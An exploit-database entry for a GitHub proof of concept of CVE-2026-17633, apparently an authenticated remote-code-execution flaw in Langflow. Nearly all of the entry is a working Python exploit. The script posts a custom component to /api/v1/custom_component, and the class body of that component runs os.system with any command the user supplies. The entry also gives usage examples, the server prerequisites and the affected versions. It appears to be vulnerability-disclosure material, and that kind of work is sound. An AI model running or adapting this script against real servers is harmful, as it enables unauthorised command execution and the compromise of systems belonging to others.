Exploit database

GH-b7b1eb25fb9afcf336fa49e20430b634

oscar-collado/langflow-cve-2026-17633-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-17633

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
oscar-collado/langflow-cve-2026-17633-pocRevision 61c267e3e1a4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit_CVE-2026-17633.py

Python · 5,119 bytes
#!/usr/bin/env python3

import argparse
import json
import sys

import requests

ENDPOINT        = "/api/v1/custom_component"
HEALTH_ENDPOINT = "/health"


def build_payload(command: str, class_name: str = "PocComponent") -> str:

    return (
        "from lfx.custom import Component\n"
        "from lfx.io import Output\n"
        "from lfx.schema import Message\n"
        "import os\n\n"
        f"class {class_name}(Component):\n"
        f"    os.system(\"{command}\")\n"
        "    display_name = \"Utility\"\n"
        "    description = \"Utility component.\"\n"
        "    outputs = [Output(name=\"result\", display_name=\"Result\", method=\"get_result\")]\n\n"
        "    def get_result(self) -> Message:\n"
        "        return Message(text=\"ok\")\n"
    )


def check_health(target: str) -> str:
    """Check that the Langflow server is reachable."""
    try:
        resp = requests.get(f"{target}{HEALTH_ENDPOINT}", timeout=10)
        if resp.status_code == 200:
            return resp.text.strip()
    except requests.RequestException:
        pass
    return "unreachable"


def exploit(
    target: str,
    token: str,
    command: str,
    verbose: bool = False,
    timeout: int = 30,
) -> bool:
   
    url     = target.rstrip("/") + ENDPOINT
    payload = build_payload(command)
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}",
    }
    body = {"code": payload}

    print(f"[*] Target:   {url}")
    print(f"[*] Command:  {command}")
    print(f"[*] Vector:   class body exec() — no scanner")

    if verbose:
        print(f"\n[*] Payload:\n{payload}")

    try:
        resp = requests.post(url, headers=headers, json=body, timeout=timeout)
    except requests.exceptions.Timeout:
        print(f"\n[!] Timeout after {timeout}s")
        return False
    except requests.RequestException as exc:
        print(f"\n[!] Connection error: {exc}", file=sys.stderr)
        return False

    print(f"\n[*] HTTP Status: {resp.status_code}")

    if resp.status_code == 200:
        if verbose:
            try:
                print(f"[*] Response: {json.dumps(resp.json(), indent=2)[:500]}...")
            except Exception:
                print(f"[*] Response: {resp.text[:300]}")
        print()
        print("=" * 60)
        print("[+] VULNERABLE — CVE-2026-17633 CONFIRMED")
        print("=" * 60)
        print(f"[+] Endpoint processed the component (200 OK)")
        print(f"[+] exec() triggered — command executed: {command}")
        print()
        return True

    if resp.status_code == 401:
        print("[-] 401 — Invalid or expired token")
    elif resp.status_code == 403:
        print("[-] 403 — LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false")
        print("    or LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true")
    elif resp.status_code == 404:
        print("[-] 404 — Endpoint not found")
    else:
        print(f"[-] Unexpected response: {resp.text[:200]}")

    return False


def main():
    parser = argparse.ArgumentParser(
        description="PoC CVE-2026-17633 — Langflow Custom Component RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic RCE — write id output to /tmp/pwned.txt
  python3 exploit_CVE-2026-17633.py \\
    -t http://127.0.0.1:7860 \\
    -k <bearer_token> \\
    -c 'id > /tmp/pwned.txt'

  # Show full payload and server response
  python3 exploit_CVE-2026-17633.py \\
    -t http://127.0.0.1:7860 \\
    -k <bearer_token> \\
    -c 'whoami > /tmp/pwned.txt' \\
    --verbose

Server prerequisites:
  · Langflow OSS 1.0.0 – 1.10.3
  · LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
  · LANGFLOW_AUTO_LOGIN=false + valid user account
        """,
    )
    parser.add_argument("-t", "--target",  required=True,
                        help="Langflow base URL (e.g. http://127.0.0.1:7860)")
    parser.add_argument("-k", "--token",   required=True,
                        help="Bearer token of the authenticated user")
    parser.add_argument("-c", "--command", default="id > /tmp/pwned.txt",
                        help="Command to execute (default: id > /tmp/pwned.txt)")
    parser.add_argument("--verbose",       action="store_true",
                        help="Show full payload and server response")
    parser.add_argument("--timeout",       type=int, default=30,
                        help="Timeout in seconds (default: 30)")

    args = parser.parse_args()

    print("=" * 60)
    print(" PoC CVE-2026-17633 — Langflow Custom Component RCE")
    print(" CVSS 8.5 HIGH — Authenticated RCE")
    print(" IBM Langflow OSS 1.0.0 – 1.10.3")
    print("=" * 60)
    print()

    health = check_health(args.target)
    print(f"[*] Health:  {health}")

    if "unreachable" in health:
        print("[-] Server unreachable. Aborting.")
        sys.exit(1)

    success = exploit(
        target=args.target,
        token=args.token,
        command=args.command,
        verbose=args.verbose,
        timeout=args.timeout,
    )

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()